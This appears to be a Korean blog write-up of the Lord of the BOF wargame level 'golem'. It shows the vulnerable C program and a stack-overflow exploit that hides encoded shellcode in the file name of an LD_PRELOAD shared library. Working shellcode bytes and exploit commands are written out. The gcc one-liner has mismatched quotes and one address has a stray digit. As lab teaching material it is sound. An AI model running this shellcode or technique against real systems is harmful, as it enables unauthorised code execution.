728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

bash2를 넣고 시작하자 제발

코드를 보니깐, stack destroyer이라는 함수가 추가된것 같다.

memset 함수를 보면, buffer를 0으로 44번째까지 초기화한다. 마지막 4바이트는 남아있는듯.

마지막 남은 4바이트 이후로도 모두 날라가는걸 보아하니 이 문제는 환경변수를 쓰면 될 듯.

 

여기서 그냥 EGG를 사용하는게 아니라 따로 공유 라이브러리를 사용해야 한다.

vi로 아무 코드나 만든 뒤

gcc -fPIC --shared -o `python -c 'print '\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`

이렇게 해주면 공유 폴더가 만들어지고, 

LD_PRELOAD를 이용하려면, (LOB에선 LD_PRELOAD 후킹만 금지되어있다)

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/

를 넣어줘야한다.

export LD_PRELOAD=/home/skeleton/`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`

이렇게 해주고 env를 쳐서 제대로 들어갔는지 확인해본다.

아마 잘 안됬으면 명령어가 들어가지도 않을것이다.

 

이제 이 환경변수의 주소를 찾기위해 golem파일을 gorem파일로 복사하여(c파일을 복사하여 컴파일)

gorem파일을 실행시켜서 core을 gdb를 해준다.

내 환경에서는 $ESP-1400 에서 주소가 잡혔다.

파란색 부분을 보면 90으로 감싸져있고, 이게 쉘코드다.

그러면 시작부분인 0xbfffff4c8부분을 주소로 잡으면 풀린다.

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 14번  (0) 2020.08.01
LOB 12번  (0) 2020.08.01
LOB 10번  (0) 2020.07.26
LOB 9번  (0) 2020.07.25
LOB 8번  (0) 2020.07.25

+ Recent posts